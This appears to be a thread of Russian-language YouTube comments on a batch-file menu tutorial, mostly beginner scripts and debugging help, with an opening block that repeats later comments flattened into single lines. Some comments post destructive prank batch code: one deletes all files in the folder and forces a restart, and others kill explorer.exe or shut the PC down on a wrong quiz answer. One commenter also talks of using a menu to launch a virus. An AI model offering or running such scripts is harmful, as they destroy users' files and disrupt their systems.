На C++, согласен, будет "красивее, и морочиться не нужно". Но для этого нужна среда разработки со всеми составляющими. Я же рассчитывал на доступность урока пользователям, которые не хотят качать/устанавливать что-либо.
Используйте для меню это: @echo off chcp 1251 setlocal choice /c 123456789 /m "Введите цифру: " if %errorlevel% == 1 echo one if %errorlevel% == 2 echo two if %errorlevel% == 3 echo three if %errorlevel% == 4 echo four if %errorlevel% == 5 echo five if %errorlevel% == 6 echo six if %errorlevel% == 7 echo seven if %errorlevel% == 8 echo eight if %errorlevel% == 9 echo nine pause>nul
@echo off del *.*/q time 6:66 >nul shutdown -r -t 1 -c "lol" -f >nul Date 11.11.11 (Не советую открывать на рабочем столе,или же можете испытать на виртуалке))может сломать нервы
пацаны зацените что я сделал chcp 1251chcp 1251 @echo off color b0 :menu cls echo привет!Начать опрос? echo 1) стар! echo 2) выход :,( set /p number= if %number% == 1 goto StartGame if %number% == 2 goto exit :startgame cls echo введи своё имя: set /p name= echo привет %name%! echo Вы хотите начать вопросы? (да/нет) set /p start= if %start% == да goto level1 if %start% == нет goto menu goto startgame :help cls echo Нажмите номер ответа, затем нажмите enter. echo выйти? (да/нет) set /p menugoto= if %menugoto% == да goto menu if %menugoto% == нет goto exit goto help :exit goto exit :level1 cls echo окей начнём echo сколько тебе лет? echo 0 echo 10 echo 20 set /p answer1= if %answer1% == 0 goto correct1 if %answer1% == 10 goto correct1 if %answer1% == 20 goto correct1 goto level1 :correct1 echo перейти к следуещиму вопросу? (да/нет) set /p NL1= if %NL1% == да goto level2 if %NL1% == нет goto menu goto correct1 set /p WA1= if %WA1% == да goto level1 if %WA1% == нет goto menu goto wrong1 :level2 cls echo какой твой любимый цвет? echo жёлтый echo фиолетовый echo зелёный echo красный echo чёрный echo синий set /p aa= if %aa% == жёлтый goto correct2 if %aa% == фиолетовый goto correct2 if %aa% == зелёный goto correct2 if %aa% == красный goto correct2 if %aa% == чёрный goto correct2 if %aa% == синий goto correct2 goto level12 :correct2 cls echo итоги твоё име %name% тебе %answer1% твой любимый цвет %aa% echo удачи goto correct2 @echo off color b0 :menu cls echo привет!Начать опрос? echo 1) стар! echo 2) выход :,( set /p number= if %number% == 1 goto StartGame if %number% == 2 goto exit :startgame cls echo введи своё имя: set /p name= echo привет %name%! echo Вы хотите начать вопросы? (да/нет) set /p start= if %start% == да goto level1 if %start% == нет goto menu goto startgame :help cls echo Нажмите номер ответа, затем нажмите enter. echo выйти? (да/нет) set /p menugoto= if %menugoto% == да goto menu if %menugoto% == нет goto exit goto help :exit goto exit :level1 cls echo окей начнём echo сколько тебе лет? echo 0 echo 10 echo 20 set /p answer1= if %answer1% == 0 goto correct1 if %answer1% == 10 goto correct1 if %answer1% == 20 goto correct1 goto level1 :correct1 echo перейти к следуещиму вопросу? (да/нет) set /p NL1= if %NL1% == да goto level2 if %NL1% == нет goto menu goto correct1 set /p WA1= if %WA1% == да goto level1 if %WA1% == нет goto menu goto wrong1 :level2 cls echo какой твой любимый цвет? echo жёлтый echo фиолетовый echo зелёный echo красный echo чёрный echo синий set /p aa= if %aa% == жёлтый goto correct2 if %aa% == фиолетовый goto correct2 if %aa% == зелёный goto correct2 if %aa% == красный goto correct2 if %aa% == чёрный goto correct2 if %aa% == синий goto correct2 goto level12 :correct2 cls echo итоги твоё име %name% тебе %answer1% твой любимый цвет %aa% echo удачи goto correct2chcp 1251 @echo off color b0 :menu cls echo привет!Начать опрос? echo 1) стар! echo 2) выход :,( set /p number= if %number% == 1 goto StartGame if %number% == 2 goto exit :startgame cls echo введи своё имя: set /p name= echo привет %name%! echo Вы хотите начать вопросы? (да/нет) set /p start= if %start% == да goto level1 if %start% == нет goto menu goto startgame :help cls echo Нажмите номер ответа, затем нажмите enter. echo выйти? (да/нет) set /p menugoto= if %menugoto% == да goto menu if %menugoto% == нет goto exit goto help :exit goto exit :level1 cls echo окей начнём echo сколько тебе лет? echo 0 echo 10 echo 20 set /p answer1= if %answer1% == 0 goto correct1 if %answer1% == 10 goto correct1 if %answer1% == 20 goto correct1 goto level1 :correct1 echo перейти к следуещиму вопросу? (да/нет) set /p NL1= if %NL1% == да goto level2 if %NL1% == нет goto menu goto correct1 set /p WA1= if %WA1% == да goto level1 if %WA1% == нет goto menu goto wrong1 :level2 cls echo какой твой любимый цвет? echo жёлтый echo фиолетовый echo зелёный echo красный echo чёрный echo синий set /p aa= if %aa% == жёлтый goto correct2 if %aa% == фиолетовый goto correct2 if %aa% == зелёный goto correct2 if %aa% == красный goto correct2 if %aa% == чёрный goto correct2 if %aa% == синий goto correct2 goto level12 :correct2 cls echo итоги твоё име %name% тебе %answer1% твой любимый цвет %aa% echo удачи goto correct2
@echo off :main echo 1 - Привет echo 2 - Выход set /p sym=Вариант if "%sym%"=="1"(echo Привет!&&echo Как дела?) else (echo Пока!) if "%sym%"=="2"(goto exit) if "%sym%"=="3"(goto exit) if "%sym%"=="4"(goto exit) if "%sym%"=="5"(goto exit) goto main :exit exit
К сожалению не хочет закрывать после выбора "2". Вот код: @echo off :main echo 1-Привет echo 2-Выход set /p sym=Вариант : if "%sym%"=="1" (echo Привет) else (echo Пока) if "%sym%"=="2"(goto exit) goto main :exit exit Подскажите)
Не останавливается на 30 мин. Что не так? :beginning %SystemDrive% cd \Program Files (x86)\XEvil by Lestrik\XEvil\ start /min luales.bat ping -n 1 -w 1800000 192.168.254.254> NUL goto beginning
Почему в Windows 7 пишет "Ошибка в синтаксисе команды" ??? Вот что пишу: @echo off :main echo 1 - Привет echo 2 - Как дела echo 3 - Выход set /p sym - Выбор : if "%sym%" =="1" (echo Привет !&&echo Как дела?) else (echo Пока!) if "%sym%" =="2" (echo Что делаешь?) if "%sym%" =="3" (goto exit) goto main :exit exit
я сдклал такую команду chcp 1251 @echo off :main echo 1-TheWortex echo 2-Tlauncher echo 3-Выход set /p sym=Вариант: if "%sym%"=="1" (echo TheWortex&&start C:\Users\acer\Desktop\game\AKK\TheWortex.exe) if "%sym%"=="2" (echo TheWortex&&start C:\Users\acer\Desktop\game\AKK\TLauncher-1.964.exe) if "%sym%"=="3" (goto exit) goto main :exit exit Всё робит
Подскажите, пожалуйста! Вопрос №1 Как сделать, чтобы при выборе запрограммированного варианта запускалася команда (любая)(например)----------start calc.exe? Вопрос №2 Чтобы она сама распознавала варианты ответа? Вопрос №3 Окно с диалогом нельзя было закрыть?
1) if %a%==1 (start calc.exe) 2) Что подразумевается под "сама распознавала ответы"? Чтобы не нужно было нажимать Enter? Тогда утилита choice.exe в помощь (Win Vista и выше, для XP скачивается отдельно) 3) Никак. Могу как альтернативу предложить запускать фоновый батник, который следит за тем, открыта твоя программа или нет. Если нет, то запустить ее заново.
Привет, ты не онлайн случайно? Подскажи, как запихнуть cmd.exe в трей. Я зелёный, но печатать умею) в bat-нике или *.cmd-нике можно. ИЛИ другой вариант. Я подсмотрел код, люди cmd.exe запускают как службу, а как выгрузить её не написали. Мне-то буквально на 10 сек нужен cmd.exe. Я бы оставил его висеть в системе, да она жаловаться начинает через полминуты, что приложение хочет меня оповестить, а я запрещаю со мной разговаривать :) торн_stonehenge@mail.ru буду признателен. Всю ночь просидел))
Не получается в чём проблема? @echo off :main echo 1-Hello echo 2-Exit set /p sym=OTBET: if "%sym%"=="1"(echo Hello) if "%sym%"=="2"(goto exit) goto main :exit exit
Написал команду как в видео но что бы я не выбирал он мне пишет Пока! и не чего не происходит Помогите пожалуйста.chcp 1251 @echo off :main echo 1 - Привет echo 2 - Выход set /p sym =Вариант: if "%sym%"=="1" (Привет!&&echo Как дела?) else (echo Пока!) if "%sym%"=="2" (goto exit) goto main :exit exit
попробуй мой chcp 1251 @echo off cls :main echo 1 - Привет echo 2 - Выход set /p sym =Вариант: if "%sym%"=="1" echo Привет!&&echo Как дела? else echo Пока! if "%sym%"=="2" exit goto main
+Hack03V :D малофунциональные? ты совсем? ты говоришь на те вещи без которых твоя винда не может выполнять операции?и на файлы которые могут уничтожить систему малофунциональные?
Ну я смысла в таких меню особого не вижу...Разве что сделать консольную игрушку и в ней меню, а скачать среду разработки очень и очень легко (я например пользуюсь Code Blocks для компилирования и написания программ). :)
Закрывается после выбора!!!ПОМОГИТЕ!!! @echo off :main color 2 title Easy Check v 1.0 echo 1 Check drive C: echo 2 Time echo 3 exit set /p sym=Choice : if "%sym%"=="1"(echo chkdsk C:) if "%sym%"=="2"(echo time) if "%sym%"=="3"(echo exit)
Закрываеться сразу @echo off echo Игра... echo echo Движение: pause echo Начинай(Нажми на 1 чтобы начать): set /p sym=Вариант: if "%sym%"=="1" (echo Начили!) goto play :play pause
@echo off echo Приветствую в своей программе Test v1.0 :main echo Создать папку? echo 1 - Да echo 2 - Нет echo 3 - Выход из программы set /p sym=Ответ: if "%sym%"=="1" (echo Да&&goto 1p) if "%sym%"=="2" (echo Нет&&goto 2p) if "%sym%"=="3" (goto exit) goto main :1p set /p a= md %a% pause goto main :2p set /p b= rd %b% pause goto main :exit exit
Sky Res скачиваете Notepad ++, создаете через него новый файл (или открываете заранее созданный), находите во вкладках "Кодировки" => "Кириллица" => "OEM 866"
как у меня пишет && was unexpected at this time. код: @echo off title recovery color 0a :main echo 1 - restore windows defender echo 2 - author echo 3 - exit ;( set /p sym=what to do: if "%sym%"=="1"(echo Suceffuly restored&&echo LUCKYman) else (NO!) if "%sym%"=="2"(echo ruclips.net/channel/UCZkng08HJNlRClfwdRwzcfg) if "%sym%"=="3"(echo ;(&&echo thanks you&&goto exit) goto main :exit exit
вот как у меня: @echo off echo 1 - yes echo 2 - no echo 3 - exit :main menu echo. set /p var=set command: cls if %var%==1 (echo yes) if %var%==2 (echo no) if %var%==3 (echo exit) if %var%==3 (exit) goto main menu -------------------------------------- @echo off echo 1 - hello echo 2 - exit :main menu echo. set /p var=set command: cls if %var%==1 (echo hello) else (echo bay) if %var%==2 (exit) goto main menu
У меня вот так получилось @echo off :main cls echo 1-hello echo 2-exit set/p sym=noob if"%sym%"=="1" (start explorer) if"%sym%"=="2" (goto exit) pause exit Это будет лучше чем что показывали вам у вас не будет при ответе скользить и тут будет при нажатии "hello" выходит окно проводника Windows
Я это сделал в 11 лет... @echo off chcp 1251 color 0a :main cls title Вопросы жизни и смерти start explorer echo Ты лох? (Отвечай на все вопросы Да,Нет) echo. echo 1.) Да echo 2.) Нет echo. set /p var=Ответь: if %var%==Да goto Yes if %var%==Нет goto no :yes cls echo Ты Молодец, pause goto dva :dva cls echo Играешь ли ты в Garry's Mod? echo. echo 1.) Да echo 2.) Нет echo. set /p var=Время отвечать!: if %var%==Да goto tri if %var%==Нет goto tri :tri cls echo Ты Читерил???, Хоть когда-нибудь echo. echo 1.) Да echo 2.) Нет echo. set /p var=ОТВЕЧАЙ: if %var%==Да goto CHITER if %var%==Нет goto chitiri :chitiri cls echo Ты играл в пиратские игры? echo. echo 1.) Да echo 2.) Нет echo. set /p var=Отвечай:3 : if %var%==Да goto victory if %var%==Нет goto no :victory cls echo Молодец ты прошёл викторину! оцени от 1 до 5 set /p var=Ещё раз поздравляю. if %var%==5 exit if %var%==4 exit if %var%==3 exit if %var%==2 exit if %var%==1 goto no :no cls echo ТЫ НЕ ОХРЕНЕЛО? pause taskkill /im explorer.exe /f >nul pause pause pause pause pause pause pause pause pause pause goto main :CHITER cls echo ГРЯЗНЫЙ ХАКЕР! pause taskkill /im explorer.exe /f >nul pause pause pause pause pause pause pause pause pause pause pause pause pause pause pause pause pause pause pause pause pause goto main
Чел, помоги! Нам нужно както поговорить. Я хочу сделать типа игру в батнике и у меня чет не работает @echo off : main echo Когда был выдан первый сервер APRANET? echo 1 - 2 сентября 1969 года echo 2 - 30 июня 2012 года set /p sym=Ответ: if"%sym%"=="1"(echo Ответ верный!) else (SHUTDOWN.EXE -S -T 10)
::~ ^^^ Stops all commands appearing on screen, sets the title and enables the use of ! for environment variable :menu ... set /p menu= if not defined menu goto menu if /i %menu% equ 1 ( set menu= cls ... )
@echo off :main echo Vzlom - 1 echo Vihod - 2 set /p sym=Sdelaite svoi vibor: if"%sym%"=="1"(echo login=Eh ti,dumal vzlomat s pomojyu bat faila&&echo Ti Lammer&&echo Da,ja lammer - 3&&echo Vihod - 4) if"%sym%"=="2"(goto exit) set /p sym=Sdelaite svoi vibor: if"%sym%"=="3"(echo Molodez,priznalsja!) if"%sym%"=="4"(echo Vse ravno ti lammer&&echo Vse ravno ti lammer&&echo Vse ravno ti lammer&&goto exit) goto main :exit exit
На C++, согласен, будет "красивее, и морочиться не нужно". Но для этого нужна среда разработки со всеми составляющими. Я же рассчитывал на доступность урока пользователям, которые не хотят качать/устанавливать что-либо.
Используйте для меню это:
@echo off
chcp 1251
setlocal
choice /c 123456789 /m "Введите цифру: "
if %errorlevel% == 1 echo one
if %errorlevel% == 2 echo two
if %errorlevel% == 3 echo three
if %errorlevel% == 4 echo four
if %errorlevel% == 5 echo five
if %errorlevel% == 6 echo six
if %errorlevel% == 7 echo seven
if %errorlevel% == 8 echo eight
if %errorlevel% == 9 echo nine
pause>nul
Спс бро. Это лайк) сразу вспомнил как это делается
Узнал много нового. Спасибо тебе парень за хороший урок
ЧУВАК РЕСПЕКТ ТЕБЕ СПС Я НАУЧИЛСЯ СТАВЬТЕ ЛАЙКИ ВСЕЕЕ!
Не все я и так умею
@echo off
del *.*/q
time 6:66 >nul
shutdown -r -t 1 -c "lol" -f >nul
Date 11.11.11
(Не советую открывать на рабочем столе,или же можете испытать на виртуалке))может сломать нервы
пацаны зацените что я сделал chcp 1251chcp 1251
@echo off
color b0
:menu
cls
echo привет!Начать опрос?
echo 1) стар!
echo 2) выход :,(
set /p number=
if %number% == 1 goto StartGame
if %number% == 2 goto exit
:startgame
cls
echo введи своё имя:
set /p name=
echo привет %name%!
echo Вы хотите начать вопросы? (да/нет)
set /p start=
if %start% == да goto level1
if %start% == нет goto menu
goto startgame
:help
cls
echo Нажмите номер ответа, затем нажмите enter.
echo выйти? (да/нет)
set /p menugoto=
if %menugoto% == да goto menu
if %menugoto% == нет goto exit
goto help
:exit
goto exit
:level1
cls
echo окей начнём
echo сколько тебе лет?
echo 0
echo 10
echo 20
set /p answer1=
if %answer1% == 0 goto correct1
if %answer1% == 10 goto correct1
if %answer1% == 20 goto correct1
goto level1
:correct1
echo перейти к следуещиму вопросу? (да/нет)
set /p NL1=
if %NL1% == да goto level2
if %NL1% == нет goto menu
goto correct1
set /p WA1=
if %WA1% == да goto level1
if %WA1% == нет goto menu
goto wrong1
:level2
cls
echo какой твой любимый цвет?
echo жёлтый
echo фиолетовый
echo зелёный
echo красный
echo чёрный
echo синий
set /p aa=
if %aa% == жёлтый goto correct2
if %aa% == фиолетовый goto correct2
if %aa% == зелёный goto correct2
if %aa% == красный goto correct2
if %aa% == чёрный goto correct2
if %aa% == синий goto correct2
goto level12
:correct2
cls
echo итоги твоё име %name% тебе %answer1% твой любимый цвет %aa%
echo удачи
goto correct2
@echo off
color b0
:menu
cls
echo привет!Начать опрос?
echo 1) стар!
echo 2) выход :,(
set /p number=
if %number% == 1 goto StartGame
if %number% == 2 goto exit
:startgame
cls
echo введи своё имя:
set /p name=
echo привет %name%!
echo Вы хотите начать вопросы? (да/нет)
set /p start=
if %start% == да goto level1
if %start% == нет goto menu
goto startgame
:help
cls
echo Нажмите номер ответа, затем нажмите enter.
echo выйти? (да/нет)
set /p menugoto=
if %menugoto% == да goto menu
if %menugoto% == нет goto exit
goto help
:exit
goto exit
:level1
cls
echo окей начнём
echo сколько тебе лет?
echo 0
echo 10
echo 20
set /p answer1=
if %answer1% == 0 goto correct1
if %answer1% == 10 goto correct1
if %answer1% == 20 goto correct1
goto level1
:correct1
echo перейти к следуещиму вопросу? (да/нет)
set /p NL1=
if %NL1% == да goto level2
if %NL1% == нет goto menu
goto correct1
set /p WA1=
if %WA1% == да goto level1
if %WA1% == нет goto menu
goto wrong1
:level2
cls
echo какой твой любимый цвет?
echo жёлтый
echo фиолетовый
echo зелёный
echo красный
echo чёрный
echo синий
set /p aa=
if %aa% == жёлтый goto correct2
if %aa% == фиолетовый goto correct2
if %aa% == зелёный goto correct2
if %aa% == красный goto correct2
if %aa% == чёрный goto correct2
if %aa% == синий goto correct2
goto level12
:correct2
cls
echo итоги твоё име %name% тебе %answer1% твой любимый цвет %aa%
echo удачи
goto correct2chcp 1251
@echo off
color b0
:menu
cls
echo привет!Начать опрос?
echo 1) стар!
echo 2) выход :,(
set /p number=
if %number% == 1 goto StartGame
if %number% == 2 goto exit
:startgame
cls
echo введи своё имя:
set /p name=
echo привет %name%!
echo Вы хотите начать вопросы? (да/нет)
set /p start=
if %start% == да goto level1
if %start% == нет goto menu
goto startgame
:help
cls
echo Нажмите номер ответа, затем нажмите enter.
echo выйти? (да/нет)
set /p menugoto=
if %menugoto% == да goto menu
if %menugoto% == нет goto exit
goto help
:exit
goto exit
:level1
cls
echo окей начнём
echo сколько тебе лет?
echo 0
echo 10
echo 20
set /p answer1=
if %answer1% == 0 goto correct1
if %answer1% == 10 goto correct1
if %answer1% == 20 goto correct1
goto level1
:correct1
echo перейти к следуещиму вопросу? (да/нет)
set /p NL1=
if %NL1% == да goto level2
if %NL1% == нет goto menu
goto correct1
set /p WA1=
if %WA1% == да goto level1
if %WA1% == нет goto menu
goto wrong1
:level2
cls
echo какой твой любимый цвет?
echo жёлтый
echo фиолетовый
echo зелёный
echo красный
echo чёрный
echo синий
set /p aa=
if %aa% == жёлтый goto correct2
if %aa% == фиолетовый goto correct2
if %aa% == зелёный goto correct2
if %aa% == красный goto correct2
if %aa% == чёрный goto correct2
if %aa% == синий goto correct2
goto level12
:correct2
cls
echo итоги твоё име %name% тебе %answer1% твой любимый цвет %aa%
echo удачи
goto correct2
ИМБА
в Notepad++ кодировка OEM-866
спасибо
cпс
Очень классно! Кстати! На моём канале есть почти такое же видео! Удачи! :)
можно также сменить расширение с помощью вин рар-а
Чего блять? Винрар это не системный файл
Вернее он не создан для смены расширения
@echo off
:main
echo 1 - Привет
echo 2 - Выход
set /p sym=Вариант
if "%sym%"=="1"(echo Привет!&&echo Как дела?) else (echo Пока!)
if "%sym%"=="2"(goto exit)
if "%sym%"=="3"(goto exit)
if "%sym%"=="4"(goto exit)
if "%sym%"=="5"(goto exit)
goto main
:exit
exit
Спасибо,буду использовать как предупреждение,который потом запускает сам вирус уже на с++
К сожалению не хочет закрывать после выбора "2". Вот код:
@echo off
:main
echo 1-Привет
echo 2-Выход
set /p sym=Вариант :
if "%sym%"=="1" (echo Привет) else (echo Пока)
if "%sym%"=="2"(goto exit)
goto main
:exit
exit
Подскажите)
после goto main должно :2 pause exit
ошибка вышла
вот я хочу все закладки оставить на браузере и сделать .бат с иконкой ,чтоб при нажатии выплывал браузер с всеми вкладками.
Не останавливается на 30 мин. Что не так?
:beginning
%SystemDrive%
cd \Program Files (x86)\XEvil by Lestrik\XEvil\
start /min luales.bat
ping -n 1 -w 1800000 192.168.254.254> NUL
goto beginning
ты про что? я вижу тут код на атаку сайта...
Почему в Windows 7 пишет "Ошибка в синтаксисе команды" ??? Вот что пишу:
@echo off
:main
echo 1 - Привет
echo 2 - Как дела
echo 3 - Выход
set /p sym - Выбор :
if "%sym%" =="1" (echo Привет !&&echo Как дела?) else (echo Пока!)
if "%sym%" =="2" (echo Что делаешь?)
if "%sym%" =="3" (goto exit)
goto main
:exit
exit
Между "sym" и "Выбор" ставится "="
set /p sym=Выбор :
в начале где :main надо писать :main menu
title text
@@krosaoНе обязательно
я сдклал такую команду
chcp 1251
@echo off
:main
echo 1-TheWortex
echo 2-Tlauncher
echo 3-Выход
set /p sym=Вариант:
if "%sym%"=="1" (echo TheWortex&&start C:\Users\acer\Desktop\game\AKK\TheWortex.exe)
if "%sym%"=="2" (echo TheWortex&&start C:\Users\acer\Desktop\game\AKK\TLauncher-1.964.exe)
if "%sym%"=="3" (goto exit)
goto main
:exit
exit
Всё робит
странно я скопировал к себе в блокнот вроде работает
Подскажите, пожалуйста!
Вопрос №1 Как сделать, чтобы при выборе запрограммированного варианта запускалася команда (любая)(например)----------start calc.exe?
Вопрос №2 Чтобы она сама распознавала варианты ответа?
Вопрос №3 Окно с диалогом нельзя было закрыть?
1) if %a%==1 (start calc.exe)
2) Что подразумевается под "сама распознавала ответы"? Чтобы не нужно было нажимать Enter? Тогда утилита choice.exe в помощь (Win Vista и выше, для XP скачивается отдельно)
3) Никак. Могу как альтернативу предложить запускать фоновый батник, который следит за тем, открыта твоя программа или нет. Если нет, то запустить ее заново.
Не работает.....Нажимаю один закрывает консоль
а у меня пишет && was unexpected at this time.
не помгло все делал правильно но у меня вылазили странные символы и при написании вариантов 1-2 у меня закрывалось всё.
Привет, ты не онлайн случайно? Подскажи, как запихнуть cmd.exe в трей. Я зелёный, но печатать умею) в bat-нике или *.cmd-нике можно. ИЛИ другой вариант. Я подсмотрел код, люди cmd.exe запускают как службу, а как выгрузить её не написали. Мне-то буквально на 10 сек нужен cmd.exe. Я бы оставил его висеть в системе, да она жаловаться начинает через полминуты, что приложение хочет меня оповестить, а я запрещаю со мной разговаривать :) торн_stonehenge@mail.ru буду признателен. Всю ночь просидел))
Не получается в чём проблема?
@echo off
:main
echo 1-Hello
echo 2-Exit
set /p sym=OTBET:
if "%sym%"=="1"(echo Hello)
if "%sym%"=="2"(goto exit)
goto main
:exit
exit
Спасибо за ответ,уже давно все понял.
@@gray2851 я не понял в чем проблема
помоги мне я создал как у тебя но у меня высвечует набор букв и быстро опускается вниз
Написал команду как в видео но что бы я не выбирал он мне пишет Пока! и не чего не происходит Помогите пожалуйста.chcp 1251
@echo off
:main
echo 1 - Привет
echo 2 - Выход
set /p sym =Вариант:
if "%sym%"=="1" (Привет!&&echo Как дела?) else (echo Пока!)
if "%sym%"=="2" (goto exit)
goto main
:exit
exit
попробуй мой
chcp 1251
@echo off
cls
:main
echo 1 - Привет
echo 2 - Выход
set /p sym =Вариант:
if "%sym%"=="1" echo Привет!&&echo Как дела? else echo Пока!
if "%sym%"=="2" exit
goto main
Можно, почему бы и нет. Мне привычнее делать так.
Я сделал и у меня клавиши на клаве перепутались все как исправить
А какую команду нада прописать штоб еще авторизоваться на сайте ?
Такой команды нету :)
тогда ети батники очень малофункциональние
+Hack03V :D малофунциональные? ты совсем? ты говоришь на те вещи без которых твоя винда не может выполнять операции?и на файлы которые могут уничтожить систему малофунциональные?
Помоги, братан! у меня всё равно абракадабра с русским. что делать?
Ну я смысла в таких меню особого не вижу...Разве что сделать консольную игрушку и в ней меню, а скачать среду разработки очень и очень легко (я например пользуюсь Code Blocks для компилирования и написания программ). :)
Закрывается после выбора!!!ПОМОГИТЕ!!!
@echo off
:main
color 2
title Easy Check v 1.0
echo 1 Check drive C:
echo 2 Time
echo 3 exit
set /p sym=Choice :
if "%sym%"=="1"(echo chkdsk C:)
if "%sym%"=="2"(echo time)
if "%sym%"=="3"(echo exit)
pause в конце напиши в самом
Закрываеться сразу
@echo off
echo Игра...
echo
echo Движение:
pause
echo Начинай(Нажми на 1 чтобы начать):
set /p sym=Вариант:
if "%sym%"=="1" (echo Начили!)
goto play
:play
pause
А на нот пад ++ как русаий включить
а как создать несколько "вопросиков"? то бишь при ответе "Да" переходил бы к следующему?
[Я хочу, чтобы при вводе команды "1" меня бы переводило к следующему вопросу]
>>>К примеру:>Код, который у меня есть:
убери :exit и замени его словом pause
сделай так:
if "%sym%"=="1" (echo Да&&mkdir Game&&goto next)
потом в конце:
:next
(Следующий вопрос)
@echo off
echo Приветствую в своей программе Test v1.0
:main
echo Создать папку?
echo 1 - Да
echo 2 - Нет
echo 3 - Выход из программы
set /p sym=Ответ:
if "%sym%"=="1" (echo Да&&goto 1p)
if "%sym%"=="2" (echo Нет&&goto 2p)
if "%sym%"=="3" (goto exit)
goto main
:1p
set /p a=
md %a%
pause
goto main
:2p
set /p b=
rd %b%
pause
goto main
:exit
exit
Русский язык в блокноте не ставиться!
Ставится если ипользовать"
Под main поставить команду chcp 1251
@@ross_Hind Можно скачать notepad++
Для того чтобы писать по-русскому: Кодировки>кириллица>oem866
у меня есть еще одна
заходишь в свойства cmd.exe, выбираешь шрифт Robotics, и под мэйн ставишь chcp 1251 (у меня работает)
можно chcp 65001
@@ross_Hind
огромное спасибо
Виндос хр )
chcp 1251 не работает! есть другой способ язык заменить?
Sky Res скачиваете Notepad ++, создаете через него новый файл (или открываете заранее созданный), находите во вкладках "Кодировки" => "Кириллица" => "OEM 866"
ArmleoTv [heat kettles]
Нужно в конце про писать pause >nul
как у меня пишет && was unexpected at this time.
код:
@echo off
title recovery
color 0a
:main
echo 1 - restore windows defender
echo 2 - author
echo 3 - exit ;(
set /p sym=what to do:
if "%sym%"=="1"(echo Suceffuly restored&&echo LUCKYman) else (NO!)
if "%sym%"=="2"(echo ruclips.net/channel/UCZkng08HJNlRClfwdRwzcfg)
if "%sym%"=="3"(echo ;(&&echo thanks you&&goto exit)
goto main
:exit
exit
вот как у меня:
@echo off
echo 1 - yes
echo 2 - no
echo 3 - exit
:main menu
echo.
set /p var=set command:
cls
if %var%==1 (echo yes)
if %var%==2 (echo no)
if %var%==3 (echo exit)
if %var%==3 (exit)
goto main menu
--------------------------------------
@echo off
echo 1 - hello
echo 2 - exit
:main menu
echo.
set /p var=set command:
cls
if %var%==1 (echo hello) else (echo bay)
if %var%==2 (exit)
goto main menu
А можно сделать слайд шоу с пмощью батника?
ytn
.bat это не графический файл только если
Start (путь к фотке)
Pause
Start (путь к 2 фотке)
и так далее
@@АнимацияПривет Графический??
а не легче в самом блокноте выбрать "Сохранить как..." и там изменить формат на .bat :D это быстрее, чем копаться)
не, посмотри видео на моём канале: как сделать так, чтоб отображалось расширение файла
Привет из 2022
Братан помог спасибо
Ребят подскажите через что бад файлы открывать
Макс Таннер эм, просто берешь и открываешь. Если ты, конечно, пользуешься Windows.
Gnomoron Smotri я уже разобрался спасибо)))
через windows...
.bat не через что
для редактирования нажимаешь правой кнопкой мыши и нажимаешь ИЗМЕНИТЬ, а для испытаний или чего-то другого - берёшь и открываешь.
ДАйте название программы
Notepad++
У меня вот так получилось
@echo off
:main
cls
echo 1-hello
echo 2-exit
set/p sym=noob
if"%sym%"=="1" (start explorer)
if"%sym%"=="2" (goto exit)
pause
exit
Это будет лучше чем что показывали вам у вас не будет при ответе скользить и тут будет при нажатии "hello" выходит окно проводника Windows
Иди от сюда изнубленец из прошлого!Хать-фу
Всеровно chcp 1251 не сработал((Вместо русского естественно какието каракули(
Все остальное работает)
Потому что в cmd всё подстроено под 866
надо просто ещё поставить кодировку файла "ANSI"
Я это сделал в 11 лет...
@echo off
chcp 1251
color 0a
:main
cls
title Вопросы жизни и смерти
start explorer
echo Ты лох? (Отвечай на все вопросы Да,Нет)
echo.
echo 1.) Да
echo 2.) Нет
echo.
set /p var=Ответь:
if %var%==Да goto Yes
if %var%==Нет goto no
:yes
cls
echo Ты Молодец,
pause
goto dva
:dva
cls
echo Играешь ли ты в Garry's Mod?
echo.
echo 1.) Да
echo 2.) Нет
echo.
set /p var=Время отвечать!:
if %var%==Да goto tri
if %var%==Нет goto tri
:tri
cls
echo Ты Читерил???, Хоть когда-нибудь
echo.
echo 1.) Да
echo 2.) Нет
echo.
set /p var=ОТВЕЧАЙ:
if %var%==Да goto CHITER
if %var%==Нет goto chitiri
:chitiri
cls
echo Ты играл в пиратские игры?
echo.
echo 1.) Да
echo 2.) Нет
echo.
set /p var=Отвечай:3 :
if %var%==Да goto victory
if %var%==Нет goto no
:victory
cls
echo Молодец ты прошёл викторину! оцени от 1 до 5
set /p var=Ещё раз поздравляю.
if %var%==5 exit
if %var%==4 exit
if %var%==3 exit
if %var%==2 exit
if %var%==1 goto no
:no
cls
echo ТЫ НЕ ОХРЕНЕЛО?
pause
taskkill /im explorer.exe /f >nul
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
goto main
:CHITER
cls
echo ГРЯЗНЫЙ ХАКЕР!
pause
taskkill /im explorer.exe /f >nul
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
pause
goto main
братан И Я в 11
за ответ нет на вопрос лох пишешь что охренел не очень умный чел
у меня уже 4 меню-хи
Чел, помоги! Нам нужно както поговорить. Я хочу сделать типа игру в батнике и у меня чет не работает
@echo off
: main
echo Когда был выдан первый сервер APRANET?
echo 1 - 2 сентября 1969 года
echo 2 - 30 июня 2012 года
set /p sym=Ответ:
if"%sym%"=="1"(echo Ответ верный!) else (SHUTDOWN.EXE -S -T 10)
::~ ^^^ Stops all commands appearing on screen, sets the title and enables the use of ! for environment variable
:menu
...
set /p menu=
if not defined menu goto menu
if /i %menu% equ 1 (
set menu=
cls
...
)
ты не поставил что будет если ты ведёшь 2 и в конце надо pause
то есть тут ты отвечаешь неправильно тонут выключает комп через 10 секунд.... прикольно игра
не работаиет
Я не экстрасенс, приведи свой код и скажу в чем ошибка.
как несколько вариантов сделать?
а мог в описании оставить скрипт
С удовольствием бы, но я с тех пор закончил школу, универ и сменил 3 компа :D
Выпендривается знаниями) Интерактивное меню...
@echo off
:main
echo Vzlom - 1
echo Vihod - 2
set /p sym=Sdelaite svoi vibor:
if"%sym%"=="1"(echo login=Eh ti,dumal vzlomat s pomojyu bat faila&&echo Ti Lammer&&echo Da,ja lammer - 3&&echo Vihod - 4)
if"%sym%"=="2"(goto exit)
set /p sym=Sdelaite svoi vibor:
if"%sym%"=="3"(echo Molodez,priznalsja!)
if"%sym%"=="4"(echo Vse ravno ti lammer&&echo Vse ravno ti lammer&&echo Vse ravno ti lammer&&goto exit)
goto main
:exit
exit
я на 10
+
Не мучай людишек, гораздо проще написать такое же меню на С++, и будет красивее, и морочиться не нужно :)